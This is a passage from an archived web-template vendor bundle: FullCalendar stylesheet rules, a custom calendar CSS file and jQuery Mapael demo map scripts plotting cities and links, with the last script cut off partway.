	margin-left: 0.75em;
}
.fc-direction-rtl .fc-toolbar > * > :not(:first-child) {
	margin-right: 0.75em;
}
.fc-direction-rtl .fc-toolbar-ltr {
	flex-direction: row-reverse;
}
.fc .fc-scroller {
	-webkit-overflow-scrolling: touch;
	position: relative;
}
.fc .fc-scroller-liquid {
	height: 100%;
}
.fc .fc-scroller-liquid-absolute {
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
}
.fc .fc-scroller-harness {
	position: relative;
	overflow: hidden;
	direction: ltr;
}
.fc .fc-scroller-harness-liquid {
	height: 100%;
}
.fc-direction-rtl .fc-scroller-harness > .fc-scroller {
	direction: rtl;
}
.fc-theme-standard .fc-scrollgrid {
	border: 1px solid #ddd;
	border: 1px solid var(--fc-border-color, #ddd);
}
.fc .fc-scrollgrid,
.fc .fc-scrollgrid-section-footer > *,
.fc .fc-scrollgrid-section-header > * {
	border-bottom-width: 0;
}
.fc .fc-scrollgrid,
.fc .fc-scrollgrid table {
	width: 100%;
	table-layout: fixed;
}
.fc .fc-scrollgrid table {
	border-top-style: hidden;
	border-left-style: hidden;
	border-right-style: hidden;
}
.fc .fc-scrollgrid {
	border-collapse: separate;
	border-right-width: 0;
}
.fc .fc-scrollgrid-liquid {
	height: 100%;
}
.fc .fc-scrollgrid-section,
.fc .fc-scrollgrid-section table,
.fc .fc-scrollgrid-section > td {
	height: 1px;
}
.fc .fc-scrollgrid-section-liquid {
	height: auto;
}
.fc .fc-scrollgrid-section-liquid > td {
	height: 100%;
}
.fc .fc-scrollgrid-section > * {
	border-top-width: 0;
	border-left-width: 0;
}
.fc .fc-scrollgrid-section-body table,
.fc .fc-scrollgrid-section-footer table {
	border-bottom-style: hidden;
}
.fc .fc-scrollgrid-section-sticky > * {
	background: var(--fc-page-bg-color, #fff);
	position: -webkit-sticky;
	position: sticky;
	z-index: 2;
}
.fc .fc-scrollgrid-section-header.fc-scrollgrid-section-sticky > * {
	top: 0;
}
.fc .fc-scrollgrid-section-footer.fc-scrollgrid-section-sticky > * {
	bottom: 0;
}
.fc .fc-scrollgrid-sticky-shim {
	height: 1px;
	margin-bottom: -1px;
}
.fc-sticky {
	position: -webkit-sticky;
	position: sticky;
}
.fc .fc-view-harness {
	flex-grow: 1;
	position: relative;
}
.fc .fc-bg-event,
.fc .fc-highlight,
.fc .fc-non-business,
.fc .fc-view-harness-active > .fc-view {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
}
.fc .fc-col-header-cell-cushion {
	display: inline-block;
	padding: 2px 4px;
}
.fc .fc-non-business {
	background: rgba(215, 215, 215, 0.3);
	background: var(--fc-non-business-color, rgba(215, 215, 215, 0.3));
}
.fc .fc-bg-event {
	background: var(--fc-bg-event-color, #8fdf82);
	opacity: 0.3;
	opacity: var(--fc-bg-event-opacity, 0.3);
}
.fc .fc-bg-event .fc-event-title {
	margin: 0.5em;
	font-size: 0.85em;
	font-size: var(--fc-small-font-size, 0.85em);
	font-style: italic;
}
.fc .fc-highlight {
	background: rgba(188, 232, 241, 0.3);
	background: var(--fc-highlight-color, rgba(188, 232, 241, 0.3));
}
.fc .fc-cell-shaded,
.fc .fc-day-disabled {
	background: rgba(208, 208, 208, 0.3);
	background: var(--fc-neutral-bg-color, rgba(208, 208, 208, 0.3));
}
.fc-event .fc-event-main {
	position: relative;
	z-index: 2;
}
.fc-event-dragging:not(.fc-event-selected) {
	opacity: 0.75;
}
.fc-event-dragging.fc-event-selected {
	box-shadow: 0 2px 7px rgba(0, 0, 0, 0.3);
}
.fc-event .fc-event-resizer {
	display: none;
	position: absolute;
	z-index: 4;
}
.fc-event-selected .fc-event-resizer,
.fc-event:hover .fc-event-resizer,
.fc-h-event {
	display: block;
}
.fc-event-selected .fc-event-resizer {
	border-radius: 4px;
	border-radius: calc(var(--fc-event-resizer-dot-total-width, 8px) / 2);
	border-width: 1px;
	border-width: var(--fc-event-resizer-dot-border-width, 1px);
	width: 8px;
	width: var(--fc-event-resizer-dot-total-width, 8px);
	height: 8px;
	height: var(--fc-event-resizer-dot-total-width, 8px);
	border-style: solid;
	border-color: inherit;
	background: var(--fc-page-bg-color, #fff);
}
.fc-event-selected .fc-event-resizer:before {
	content: "";
	position: absolute;
	top: -20px;
	left: -20px;
	right: -20px;
	bottom: -20px;
}
.fc-event-selected {
	box-shadow: 0 2px 5px rgba(0, 0, 0, 0.2);
}
.fc-event-selected:before {
	content: "";
	position: absolute;
	z-index: 3;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
}
.fc-event-selected:after {
	content: "";
	background: rgba(0, 0, 0, 0.25);
	background: var(--fc-event-selected-overlay-color, rgba(0, 0, 0, 0.25));
	position: absolute;
	z-index: 1;
	top: -1px;
	left: -1px;
	right: -1px;
	bottom: -1px;
}
.fc-h-event {
	border: 1px solid #3788d8;
	border: 1px solid var(--fc-event-border-color, #3788d8);
	background-color: #3788d8;
	background-color: var(--fc-event-bg-color, #3788d8);
}
.fc-h-event .fc-event-main {
	color: #fff;
	color: var(--fc-event-text-color, #fff);
}
.fc-h-event .fc-event-main-frame {
	display: flex;
}
.fc-h-event .fc-event-time {
	max-width: 100%;
	overflow: hidden;
}
.fc-h-event .fc-event-title-container {
	flex-grow: 1;
	flex-shrink: 1;
	min-width: 0;
}
.fc-h-event .fc-event-title {
	display: inline-block;
	vertical-align: top;
	left: 0;
	right: 0;
	max-width: 100%;
	overflow: hidden;
}
.fc-h-event.fc-event-selected:before {
	top: -10px;
	bottom: -10px;
}
.fc-direction-ltr .fc-daygrid-block-event:not(.fc-event-start),
.fc-direction-rtl .fc-daygrid-block-event:not(.fc-event-end) {
	border-top-left-radius: 0;
	border-bottom-left-radius: 0;
	border-left-width: 0;
}
.fc-direction-ltr .fc-daygrid-block-event:not(.fc-event-end),
.fc-direction-rtl .fc-daygrid-block-event:not(.fc-event-start) {
	border-top-right-radius: 0;
	border-bottom-right-radius: 0;
	border-right-width: 0;
}
.fc-h-event:not(.fc-event-selected) .fc-event-resizer {
	top: 0;
	bottom: 0;
	width: 8px;
	width: var(--fc-event-resizer-thickness, 8px);
}
.fc-direction-ltr .fc-h-event:not(.fc-event-selected) .fc-event-resizer-start,
.fc-direction-rtl .fc-h-event:not(.fc-event-selected) .fc-event-resizer-end {
	cursor: w-resize;
	left: -4px;
	left: calc(var(--fc-event-resizer-thickness, 8px) / -2);
}
.fc-direction-ltr .fc-h-event:not(.fc-event-selected) .fc-event-resizer-end,
.fc-direction-rtl .fc-h-event:not(.fc-event-selected) .fc-event-resizer-start {
	cursor: e-resize;
	right: -4px;
	right: calc(var(--fc-event-resizer-thickness, 8px) / -2);
}
.fc-h-event.fc-event-selected .fc-event-resizer {
	top: 50%;
	margin-top: -4px;
	margin-top: calc(var(--fc-event-resizer-dot-total-width, 8px) / -2);
}
.fc-direction-ltr .fc-h-event.fc-event-selected .fc-event-resizer-start,
.fc-direction-rtl .fc-h-event.fc-event-selected .fc-event-resizer-end {
	left: -4px;
	left: calc(var(--fc-event-resizer-dot-total-width, 8px) / -2);
}
.fc-direction-ltr .fc-h-event.fc-event-selected .fc-event-resizer-end,
.fc-direction-rtl .fc-h-event.fc-event-selected .fc-event-resizer-start {
	right: -4px;
	right: calc(var(--fc-event-resizer-dot-total-width, 8px) / -2);
}
:root {
	--fc-daygrid-event-dot-width: 8px;
	--fc-list-event-dot-width: 10px;
	--fc-list-event-hover-bg-color: #f5f5f5;
}
.fc .fc-popover {
	position: fixed;
	top: 0;
	box-shadow: 0 2px 6px rgba(0, 0, 0, 0.15);
}
.fc .fc-popover-header {
	display: flex;
	flex-direction: row;
	justify-content: space-between;
	align-items: center;
	padding: 3px 4px;
}
.fc .fc-popover-title {
	margin: 0 2px;
}
.fc .fc-popover-close {
	cursor: pointer;
	opacity: 0.65;
	font-size: 1.1em;
}
.fc-theme-standard .fc-popover {
	border: 1px solid #ddd;
	border: 1px solid var(--fc-border-color, #ddd);
	background: var(--fc-page-bg-color, #fff);
}
.fc-theme-standard .fc-popover-header {
	background: rgba(208, 208, 208, 0.3);
	background: var(--fc-neutral-bg-color, rgba(208, 208, 208, 0.3));
}
.fc-daygrid-day-events:after,
.fc-daygrid-day-events:before,
.fc-daygrid-day-frame:after,
.fc-daygrid-day-frame:before,
.fc-daygrid-event-harness:after,
.fc-daygrid-event-harness:before {
	content: "";
	clear: both;
	display: table;
}
.fc .fc-daygrid-body {
	position: relative;
	z-index: 1;
}
.fc .fc-daygrid-day.fc-day-today {
	background-color: rgba(255, 220, 40, 0.15);
	background-color: var(--fc-today-bg-color, rgba(255, 220, 40, 0.15));
}
.fc .fc-daygrid-day-frame {
	position: relative;
	min-height: 100%;
}
.fc .fc-daygrid-day-top {
	display: flex;
	flex-direction: row-reverse;
}
.fc .fc-day-other .fc-daygrid-day-top {
	opacity: 0.3;
}
.fc .fc-daygrid-day-number {
	position: relative;
	z-index: 4;
	padding: 4px;
}
.fc .fc-daygrid-day-events {
	margin-top: 1px;
}
.fc .fc-daygrid-body-balanced .fc-daygrid-day-events {
	position: absolute;
	left: 0;
	right: 0;
}
.fc .fc-daygrid-body-unbalanced .fc-daygrid-day-events {
	position: relative;
	min-height: 2em;
}
.fc .fc-daygrid-body-natural .fc-daygrid-day-events {
	margin-bottom: 1em;
}
.fc .fc-daygrid-event-harness {
	position: relative;
}
.fc .fc-daygrid-event-harness-abs {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
}
.fc .fc-daygrid-bg-harness {
	position: absolute;
	top: 0;
	bottom: 0;
}
.fc .fc-daygrid-day-bg .fc-non-business {
	z-index: 1;
}
.fc .fc-daygrid-day-bg .fc-bg-event {
	z-index: 2;
}
.fc .fc-daygrid-day-bg .fc-highlight {
	z-index: 3;
}
.fc .fc-daygrid-event {
	z-index: 6;
	margin-top: 1px;
}
.fc .fc-daygrid-event.fc-event-mirror {
	z-index: 7;
}
.fc .fc-daygrid-day-bottom {
	font-size: 0.85em;
	margin: 2px 3px 0;
}
.fc .fc-daygrid-more-link {
	position: relative;
	z-index: 4;
	cursor: pointer;
}
.fc .fc-daygrid-week-number {
	position: absolute;
	z-index: 5;
	top: 0;
	padding: 2px;
	min-width: 1.5em;
	text-align: center;
	background-color: rgba(208, 208, 208, 0.3);
	background-color: var(--fc-neutral-bg-color, rgba(208, 208, 208, 0.3));
	color: grey;
	color: var(--fc-neutral-text-color, grey);
}
.fc .fc-more-popover {
	z-index: 8;
}
.fc .fc-more-popover .fc-popover-body {
	min-width: 220px;
	padding: 10px;
}
.fc-direction-ltr .fc-daygrid-event.fc-event-start,
.fc-direction-rtl .fc-daygrid-event.fc-event-end {
	margin-left: 2px;
}
.fc-direction-ltr .fc-daygrid-event.fc-event-end,
.fc-direction-rtl .fc-daygrid-event.fc-event-start {
	margin-right: 2px;
}
.fc-direction-ltr .fc-daygrid-week-number {
	left: 0;
	border-radius: 0 0 3px;
}
.fc-direction-rtl .fc-daygrid-week-number {
	right: 0;
	border-radius: 0 0 0 3px;
}
.fc-liquid-hack .fc-daygrid-day-frame {
	position: static;
}
.fc-daygrid-event {
	position: relative;
	white-space: nowrap;
	border-radius: 3px;
	font-size: 0.85em;
	font-size: var(--fc-small-font-size, 0.85em);
}
.fc-daygrid-block-event .fc-event-time {
	font-weight: 700;
}
.fc-daygrid-block-event .fc-event-time,
.fc-daygrid-block-event .fc-event-title {
	padding: 1px;
}
.fc-daygrid-dot-event {
	display: flex;
	align-items: center;
	padding: 2px 0;
}
.fc-daygrid-dot-event .fc-event-title {
	flex-grow: 1;
	flex-shrink: 1;
	min-width: 0;
	overflow: hidden;
	font-weight: 700;
}
.fc-daygrid-dot-event.fc-event-mirror,
.fc-daygrid-dot-event:hover {
	background: rgba(0, 0, 0, 0.1);
}
.fc-daygrid-dot-event.fc-event-selected:before {
	top: -10px;
	bottom: -10px;
}
.fc-daygrid-event-dot {
	margin: 0 4px;
	box-sizing: content-box;
	width: 0;
	height: 0;
	border: 4px solid #3788d8;
	border: calc(var(--fc-daygrid-event-dot-width, 8px) / 2) solid
		var(--fc-event-border-color, #3788d8);
	border-radius: 4px;
	border-radius: calc(var(--fc-daygrid-event-dot-width, 8px) / 2);
}
.fc-direction-ltr .fc-daygrid-event .fc-event-time {
	margin-right: 3px;
}
.fc-direction-rtl .fc-daygrid-event .fc-event-time {
	margin-left: 3px;
}
.fc-v-event {
	display: block;
	border: 1px solid #3788d8;
	border: 1px solid var(--fc-event-border-color, #3788d8);
	background-color: #3788d8;
	background-color: var(--fc-event-bg-color, #3788d8);
}
.fc-v-event .fc-event-main {
	color: #fff;
	color: var(--fc-event-text-color, #fff);
	height: 100%;
}
.fc-v-event .fc-event-main-frame {
	height: 100%;
	display: flex;
	flex-direction: column;
}
.fc-v-event .fc-event-time {
	flex-grow: 0;
	flex-shrink: 0;
	max-height: 100%;
	overflow: hidden;
}
.fc-v-event .fc-event-title-container {
	flex-grow: 1;
	flex-shrink: 1;
	min-height: 0;
}
.fc-v-event .fc-event-title {
	top: 0;
	bottom: 0;
	max-height: 100%;
	overflow: hidden;
}
.fc-v-event:not(.fc-event-start) {
	border-top-width: 0;
	border-top-left-radius: 0;
	border-top-right-radius: 0;
}
.fc-v-event:not(.fc-event-end) {
	border-bottom-width: 0;
	border-bottom-left-radius: 0;
	border-bottom-right-radius: 0;
}
.fc-v-event.fc-event-selected:before {
	left: -10px;
	right: -10px;
}
.fc-v-event .fc-event-resizer-start {
	cursor: n-resize;
}
.fc-v-event .fc-event-resizer-end {
	cursor: s-resize;
}
.fc-v-event:not(.fc-event-selected) .fc-event-resizer {
	height: 8px;
	height: var(--fc-event-resizer-thickness, 8px);
	left: 0;
	right: 0;
}
.fc-v-event:not(.fc-event-selected) .fc-event-resizer-start {
	top: -4px;
	top: calc(var(--fc-event-resizer-thickness, 8px) / -2);
}
.fc-v-event:not(.fc-event-selected) .fc-event-resizer-end {
	bottom: -4px;
	bottom: calc(var(--fc-event-resizer-thickness, 8px) / -2);
}
.fc-v-event.fc-event-selected .fc-event-resizer {
	left: 50%;
	margin-left: -4px;
	margin-left: calc(var(--fc-event-resizer-dot-total-width, 8px) / -2);
}
.fc-v-event.fc-event-selected .fc-event-resizer-start {
	top: -4px;
	top: calc(var(--fc-event-resizer-dot-total-width, 8px) / -2);
}
.fc-v-event.fc-event-selected .fc-event-resizer-end {
	bottom: -4px;
	bottom: calc(var(--fc-event-resizer-dot-total-width, 8px) / -2);
}
.fc .fc-timegrid .fc-daygrid-body {
	z-index: 2;
}
.fc .fc-timegrid-axis-chunk > table,
.fc .fc-timegrid-body,
.fc .fc-timegrid-slots {
	position: relative;
	z-index: 1;
}
.fc .fc-timegrid-divider {
	padding: 0 0 2px;
}
.fc .fc-timegrid-body {
	min-height: 100%;
}
.fc .fc-timegrid-axis-chunk {
	position: relative;
}
.fc .fc-timegrid-slot {
	height: 1.5em;
	border-bottom: 0;
}
.fc .fc-timegrid-slot:empty:before {
	content: "\00a0";
}
.fc .fc-timegrid-slot-minor {
	border-top-style: dotted;
}
.fc .fc-timegrid-slot-label-cushion {
	display: inline-block;
	white-space: nowrap;
}
.fc .fc-timegrid-axis-cushion,
.fc .fc-timegrid-slot-label-cushion {
	padding: 0 4px;
}
.fc .fc-timegrid-axis-frame-liquid {
	height: 100%;
}
.fc .fc-timegrid-axis-frame {
	overflow: hidden;
	display: flex;
	align-items: center;
	justify-content: flex-end;
}
.fc .fc-timegrid-axis-cushion {
	max-width: 60px;
	flex-shrink: 0;
}
.fc-direction-ltr .fc-timegrid-slot-label-frame {
	text-align: right;
}
.fc-direction-rtl .fc-timegrid-slot-label-frame {
	text-align: left;
}
.fc-liquid-hack .fc-timegrid-axis-frame-liquid {
	height: auto;
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
}
.fc .fc-timegrid-col.fc-day-today {
	background-color: rgba(255, 220, 40, 0.15);
	background-color: var(--fc-today-bg-color, rgba(255, 220, 40, 0.15));
}
.fc .fc-timegrid-col-frame {
	min-height: 100%;
	position: relative;
}
.fc-liquid-hack .fc-timegrid-col-frame {
	height: auto;
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
}
.fc-media-screen .fc-timegrid-cols {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
}
.fc-media-screen .fc-timegrid-cols > table {
	height: 100%;
}
.fc-media-screen .fc-timegrid-col-bg,
.fc-media-screen .fc-timegrid-col-events,
.fc-media-screen .fc-timegrid-now-indicator-container {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
}
.fc-media-screen .fc-timegrid-event-harness {
	position: absolute;
}
.fc .fc-timegrid-col-bg {
	z-index: 2;
}
.fc .fc-timegrid-col-bg .fc-non-business {
	z-index: 1;
}
.fc .fc-timegrid-col-bg .fc-bg-event {
	z-index: 2;
}
.fc .fc-timegrid-col-bg .fc-highlight,
.fc .fc-timegrid-col-events {
	z-index: 3;
}
.fc .fc-timegrid-bg-harness {
	position: absolute;
	left: 0;
	right: 0;
}
.fc .fc-timegrid-now-indicator-container {
	bottom: 0;
	overflow: hidden;
}
.fc-direction-ltr .fc-timegrid-col-events {
	margin: 0 2.5% 0 2px;
}
.fc-direction-rtl .fc-timegrid-col-events {
	margin: 0 2px 0 2.5%;
}
.fc-timegrid-event-harness-inset .fc-timegrid-event,
.fc-timegrid-event.fc-event-mirror {
	box-shadow: 0 0 0 1px #fff;
	box-shadow: 0 0 0 1px var(--fc-page-bg-color, #fff);
}
.fc-timegrid-event {
	font-size: 0.85em;
	font-size: var(--fc-small-font-size, 0.85em);
	border-radius: 3px;
}
.fc-timegrid-event .fc-event-main {
	padding: 1px 1px 0;
}
.fc-timegrid-event .fc-event-time {
	white-space: nowrap;
	font-size: 0.85em;
	font-size: var(--fc-small-font-size, 0.85em);
	margin-bottom: 1px;
}
.fc-timegrid-event-condensed .fc-event-main-frame {
	flex-direction: row;
	overflow: hidden;
}
.fc-timegrid-event-condensed .fc-event-time:after {
	content: "\00a0-\00a0";
}
.fc-timegrid-event-condensed .fc-event-title {
	font-size: 0.85em;
	font-size: var(--fc-small-font-size, 0.85em);
}
.fc-media-screen .fc-timegrid-event {
	position: absolute;
	top: 0;
	bottom: 1px;
	left: 0;
	right: 0;
}
.fc .fc-timegrid-now-indicator-line {
	position: absolute;
	z-index: 4;
	left: 0;
	right: 0;
	border-style: solid;
	border-color: red;
	border-color: var(--fc-now-indicator-color, red);
	border-width: 1px 0 0;
}
.fc .fc-timegrid-now-indicator-arrow {
	position: absolute;
	z-index: 4;
	margin-top: -5px;
	border-style: solid;
	border-color: red;
	border-color: var(--fc-now-indicator-color, red);
}
.fc-direction-ltr .fc-timegrid-now-indicator-arrow {
	left: 0;
	border-width: 5px 0 5px 6px;
	border-top-color: transparent;
	border-bottom-color: transparent;
}
.fc-direction-rtl .fc-timegrid-now-indicator-arrow {
	right: 0;
	border-width: 5px 6px 5px 0;
	border-top-color: transparent;
	border-bottom-color: transparent;
}
.fc-theme-standard .fc-list {
	border: 1px solid #ddd;
	border: 1px solid var(--fc-border-color, #ddd);
}
.fc .fc-list-empty {
	background-color: rgba(208, 208, 208, 0.3);
	background-color: var(--fc-neutral-bg-color, rgba(208, 208, 208, 0.3));
	height: 100%;
	display: flex;
	justify-content: center;
	align-items: center;
}
.fc .fc-list-empty-cushion {
	margin: 5em 0;
}
.fc .fc-list-table {
	width: 100%;
	border-style: hidden;
}
.fc .fc-list-table tr > * {
	border-left: 0;
	border-right: 0;
}
.fc .fc-list-sticky .fc-list-day > * {
	position: -webkit-sticky;
	position: sticky;
	top: 0;
	background: var(--fc-page-bg-color, #fff);
}
.fc .fc-list-table th {
	padding: 0;
}
.fc .fc-list-day-cushion,
.fc .fc-list-table td {
	padding: 8px 14px;
}
.fc .fc-list-day-cushion:after {
	content: "";
	clear: both;
	display: table;
}
.fc-theme-standard .fc-list-day-cushion {
	background-color: rgba(208, 208, 208, 0.3);
	background-color: var(--fc-neutral-bg-color, rgba(208, 208, 208, 0.3));
}
.fc-direction-ltr .fc-list-day-text,
.fc-direction-rtl .fc-list-day-side-text {
	float: left;
}
.fc-direction-ltr .fc-list-day-side-text,
.fc-direction-rtl .fc-list-day-text {
	float: right;
}
.fc-direction-ltr .fc-list-table .fc-list-event-graphic {
	padding-right: 0;
}
.fc-direction-rtl .fc-list-table .fc-list-event-graphic {
	padding-left: 0;
}
.fc .fc-list-event.fc-event-forced-url {
	cursor: pointer;
}
.fc .fc-list-event:hover td {
	background-color: #f5f5f5;
	background-color: var(--fc-list-event-hover-bg-color, #f5f5f5);
}
.fc .fc-list-event-graphic,
.fc .fc-list-event-time {
	white-space: nowrap;
	width: 1px;
}
.fc .fc-list-event-dot {
	display: inline-block;
	box-sizing: content-box;
	width: 0;
	height: 0;
	border: 5px solid #3788d8;
	border: calc(var(--fc-list-event-dot-width, 10px) / 2) solid
		var(--fc-event-border-color, #3788d8);
	border-radius: 5px;
	border-radius: calc(var(--fc-list-event-dot-width, 10px) / 2);
}
.fc .fc-list-event-title a {
	color: inherit;
}
.fc .fc-list-event.fc-event-forced-url:hover a {
	text-decoration: underline;
}
.fc-theme-bootstrap a:not([href]) {
	color: inherit;
}
vendor/calendar/css/custom.css000066600000007420151150443020012430 0ustar00/* Schedule Calendar CSS */
.schedule-calendar .fc-theme-standard .fc-scrollgrid {
	border: 0;
}
.schedule-calendar .fc .fc-toolbar.fc-header-toolbar {
	margin-bottom: 0.5rem;
}
.schedule-calendar .fc .fc-button {
	border: 1px solid transparent;
	padding: 0.4em 0;
	font-size: 15px;
}
.schedule-calendar .fc .fc-non-business {
	background: transparent;
}
.schedule-calendar .fc .fc-bg-event {
	background: #e2f1fe !important;
	opacity: 1;
}
.schedule-calendar .fc .fc-button-primary {
	background-color: transparent;
	border-color: transparent;
	color: #0068ff;
}
.schedule-calendar .fc .fc-toolbar-title {
	font-size: 0.85em;
	margin: 0;
}
.schedule-calendar .fc .fc-col-header-cell-cushion {
	padding: 4px 4px;
	color: #242424;
	font-weight: 600;
}
.schedule-calendar .fc .fc-button:not(:disabled),
.schedule-calendar .fc a[data-navlink],
.schedule-calendar .fc-event.fc-event-draggable,
.schedule-calendar .fc-event[href] {
	color: #0068ff;
}
.schedule-calendar .fc .fc-button-primary:not(:disabled).fc-button-active,
.fc .fc-button-primary:not(:disabled):active {
	color: #0068ff;
	background-color: transparent;
	border-color: transparent;
}
.schedule-calendar .fc-theme-standard td,
.fc-theme-standard th {
	border: 1px solid #dbe3ea;
	font-size: 15px;
}
.schedule-calendar .fc-direction-ltr .fc-daygrid-event.fc-event-end,
.schedule-calendar .fc-direction-rtl .fc-daygrid-event.fc-event-start {
	width: 45px;
	height: 30px;
	display: flex;
	align-items: center;
	justify-content: center;
	border-radius: 30px !important;
	font-size: 15px;
	margin: 5px;
	outline: 1px solid #c6d2dc;
	outline-offset: 2px;
}
.schedule-calendar .fc-h-event {
	background: #35bbed;
	border: 0;
}

.fc-theme-standard .fc-scrollgrid {
	border: 1px solid #dbe3ea;
	border-right: 0;
	border-bottom: 0;
}
.fc-theme-standard .fc-list-day-cushion {
	background-color: #f6f6fd;
}
.fc-theme-standard .fc-list {
	border: 1px solid #dedeef;
}
.fc-theme-standard td,
.fc-theme-standard th {
	border: 1px solid #dbe3ea;
}
.fc .fc-list-event:hover td {
	background-color: #e6ecf3;
}
.fc .fc-list-event-dot {
	border: 7px solid #35bbed;
}
.fc-daygrid-dot-event .fc-event-title {
	font-weight: 600;
}
.fc-daygrid-event-dot {
	border: 7px solid #35bbed;
}
.fc-daygrid-dot-event:hover {
	background-color: #e6ecf3;
}
.fc-daygrid-event {
	font-size: 13px;
	padding: 6px 0;
}
.fc-theme-standard .fc-popover-header {
	background: #35bbed;
	color: #fff;
	font-size: 13px;
	padding: 6px 8px;
}
.fc .fc-toolbar-title {
	font-size: 14px;
}
.fc .fc-button-primary {
	border-color: #f7f9fd;
	background-color: #f7f9fd;
  color: #6a797d;
}
.fc .fc-button-primary:hover {
  border-color: #ebeef4;
	background-color: #ebeef4;
  color: #4d5b5f;
}
.fc .fc-button-primary:not(:disabled).fc-button-active {
  border-color: #61c8ee;
	background-color: #61c8ee;
}
.fc .fc-col-header-cell-cushion {
	padding: 6px 4px;
	color: #828992;
}
.fc .fc-list-empty {
	border: 0 solid #dedeef;
	background: #f4f4fb;
}

/* Draggable */
#external-events {
	padding: 1rem;
	border: 1px solid #dedeef;
	background: #f4f4fb;
	text-align: left;
	margin-bottom: 20px;
	border-radius: 3px;
}
#external-events h4 {
	font-size: 0.9rem;
	margin: 0 0 0.7rem 0;
}
#external-events .fc-event {
	margin: 3px 2px;
	cursor: move;
}
#external-events p {
	margin: 0.5rem 0 0 0;
	font-size: 15px;
}
#external-events p input {
	margin: 0;
	vertical-align: middle;
}
#external-events label {
	margin: 0;
	font-size: 0.875rem;
	font-weight: 400;
	vertical-align: middle;
}
.fc .fc-toolbar.fc-header-toolbar {
	flex-wrap: wrap;
}
.fc .fc-toolbar.fc-header-toolbar .fc-toolbar-chunk {
	margin: 2px 0;
}
.fc-h-event {
	border: 1px solid #35bbed;
	background: #35bbed;
	padding: 5px 8px;
	font-size: 15px;
	border-radius: 2px;
}
.fc-v-event {
	border: 1px solid #35bbed;
	background: #35bbed;
}
.fc table {
	font-size: 14px;
	color: #0068ff;
}
vendor/mapael/custom/plotted-cities.js000066600000007717151150443020014114 0ustar00$(function () {
	$(".plotted-cities").mapael({
		map: {
			name: "world_countries",
			defaultArea: {
				attrs: {
					fill: "#4b3eab",
					stroke: "#ffffff",
				},
			},
			// Default attributes can be set for all links
			defaultLink: {
				factor: 0.4,
				attrsHover: {
					stroke: "#ff641f",
				},
			},
			defaultPlot: {
				text: {
					attrs: {
						fill: "#ff641f",
					},
					attrsHover: {
						fill: "#ff641f",
					},
				},
			},
		},
		plots: {
			paris: {
				latitude: 48.86,
				longitude: 2.3444,
				tooltip: { content: "Paris<br />Population: 500000000" },
			},
			newyork: {
				latitude: 40.667,
				longitude: -73.833,
				tooltip: { content: "New york<br />Population: 200001" },
			},
			sanfrancisco: {
				latitude: 37.792032,
				longitude: -122.394613,
				tooltip: { content: "San Francisco" },
			},
			brasilia: {
				latitude: -15.781682,
				longitude: -47.924195,
				tooltip: { content: "Brasilia<br />Population: 200000001" },
			},
			roma: {
				latitude: 41.827637,
				longitude: 12.462732,
				tooltip: { content: "Roma" },
			},
			miami: {
				latitude: 25.789125,
				longitude: -80.205674,
				tooltip: { content: "Miami" },
			},

			// Size=0 in order to make plots invisible
			tokyo: {
				latitude: 35.687418,
				longitude: 139.692306,
				size: 0,
				text: { content: "Tokyo" },
			},
			sydney: {
				latitude: -33.917,
				longitude: 151.167,
				size: 0,
				text: { content: "Sydney" },
			},
			plot1: {
				latitude: 22.906561,
				longitude: 86.84017,
				size: 0,
				text: { content: "Plot1", position: "left", margin: 5 },
			},
			plot2: {
				latitude: -0.390553,
				longitude: 115.586762,
				size: 0,
				text: { content: "Plot2" },
			},
			plot3: {
				latitude: 44.065626,
				longitude: 94.576079,
				size: 0,
				text: { content: "Plot3" },
			},
		},
		// Links allow you to connect plots between them
		links: {
			link1: {
				factor: -0.3,
				// The source and the destination of the link can be set with a latitude and a longitude or a x and a y ...
				between: [
					{ latitude: 24.708785, longitude: -5.402427 },
					{ x: 560, y: 280 },
				],
				attrs: {
					"stroke-width": 2,
				},
				tooltip: { content: "Link" },
			},
			parisnewyork: {
				// ... Or with IDs of plotted points
				factor: -0.3,
				between: ["paris", "newyork"],
				attrs: {
					"stroke-width": 2,
				},
				tooltip: { content: "Paris - New-York" },
			},
			parissanfrancisco: {
				// The curve can be inverted by setting a negative factor
				factor: -0.5,
				between: ["paris", "sanfrancisco"],
				attrs: {
					stroke: "#ff641f",
					"stroke-width": 4,
				},
				tooltip: { content: "Paris - San - Francisco" },
			},
			parisbrasilia: {
				factor: -0.8,
				between: ["paris", "brasilia"],
				attrs: {
					stroke: "#ff641f",
					"stroke-width": 1,
				},
				tooltip: { content: "Paris - Brasilia" },
			},
			romamiami: {
				factor: 0.2,
				between: ["roma", "miami"],
				attrs: {
					stroke: "#ff641f",
					"stroke-width": 4,
				},
				tooltip: { content: "Roma - Miami" },
			},
			sydneyplot1: {
				factor: -0.2,
				between: ["sydney", "plot1"],
				attrs: {
					stroke: "#35bbed",
					"stroke-width": 3,
					"stroke-linecap": "round",
					opacity: 0.6,
				},
				tooltip: { content: "Sydney - Plot1" },
			},
			sydneyplot2: {
				factor: -0.1,
				between: ["sydney", "plot2"],
				attrs: {
					stroke: "#35bbed",
					"stroke-width": 8,
					"stroke-linecap": "round",
					opacity: 0.6,
				},
				tooltip: { content: "Sydney - Plot2" },
			},
			sydneyplot3: {
				factor: 0.2,
				between: ["sydney", "plot3"],
				attrs: {
					stroke: "#35bbed",
					"stroke-width": 4,
					"stroke-linecap": "round",
					opacity: 0.6,
				},
				tooltip: { content: "Sydney - Plot3" },
			},
			sydneytokyo: {
				factor: 0.2,
				between: ["sydney", "tokyo"],
				attrs: {
					stroke: "#35bbed",
					"stroke-width": 6,
					"stroke-linecap": "round",
					opacity: 0.6,
				},
				tooltip: { content: "Sydney - Plot2" },
			},
		},
	});
});
vendor/mapael/custom/range-areas.js000066600000050023151150443020013334 0ustar00$(function () {
	$(".range-areas").mapael({
		map: {
			name: "france_departments",
			defaultArea: {
				attrs: {
					stroke: "#fff",
					"stroke-width": 1,
				},
				attrsHover: {
					"stroke-width": 2,
				},
			},
		},
		legend: {
			area: {
				title: "Population of France by department",
				slices: [
					{
						max: 300000,
						attrs: {
							fill: "#251b75",
						},
						label: "Less than de 300 000 inhabitants",
					},
					{
						min: 300000,
						max: 500000,
